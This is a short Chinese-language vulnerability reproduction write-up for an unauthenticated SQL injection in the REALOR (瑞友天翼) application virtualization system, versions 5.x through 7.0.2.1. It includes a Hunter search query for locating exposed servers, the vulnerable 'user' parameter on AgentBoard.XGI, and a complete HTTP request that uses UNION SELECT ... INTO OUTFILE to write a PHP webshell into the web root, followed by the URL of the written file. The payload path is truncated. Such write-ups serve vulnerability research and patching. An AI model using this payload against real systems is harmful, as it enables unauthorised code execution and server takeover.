R1-1瑞友天翼-应用虚拟化系统-SQL

漏洞描述：

瑞友天翼应用虚拟化系统是西安瑞友信息技术资讯有限公司研发的具有自主知识产权，基于服务器计算架构的应用虚拟化平台。它将用户各种应用软件集中部署在瑞友天翼服务器(群)上，客户端通过WEB即可快速安全的访问经服务器上授权的应用软件，实现集中应用、远程接入、协同办公等，从而为用户打造集中、便捷、安全、高效的虚拟化支撑平台。瑞友天翼应用虚拟化系统存在SQL注入漏洞，未经身份认证的远程攻击者可以利用该漏洞在目标系统上执行任意代码，（该漏洞是通过SQL注入写入后门文件进行代码执行）

影响版本：

5.x <= 瑞友天翼应用虚拟化系统 <= 7.0.2.1

网站图片：

网络测绘：

Hunter 语法：

hunterapp.name="REALOR 瑞友天翼虚拟化平台"

漏洞复现：

user参数存在SQL注入漏洞
payload：

```
http://xx.xx.xx.xx/AgentBoard.XGI?user=1&cmd=UserLogin
```

效果图:

通过SQL注入漏洞写入webshell

```
GET /AgentBoard.XGI?user=-1%27+union+select+1%2C%27%3C%3Fphp+phpinfo%28%29%3B%3F%3E%27+into+outfile+%22C%3A%5C%5CProgram%5C+Files%5C+%5C%28x86%5C%29%5C%5CRealFriend%5C%5
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: CookieLanguageName=ZH-CN; CookieAuthType=0
Upgrade-Insecure-Requests: 1
```

写入文件位置

```
http://xx.xx.xx.xx/2.php
```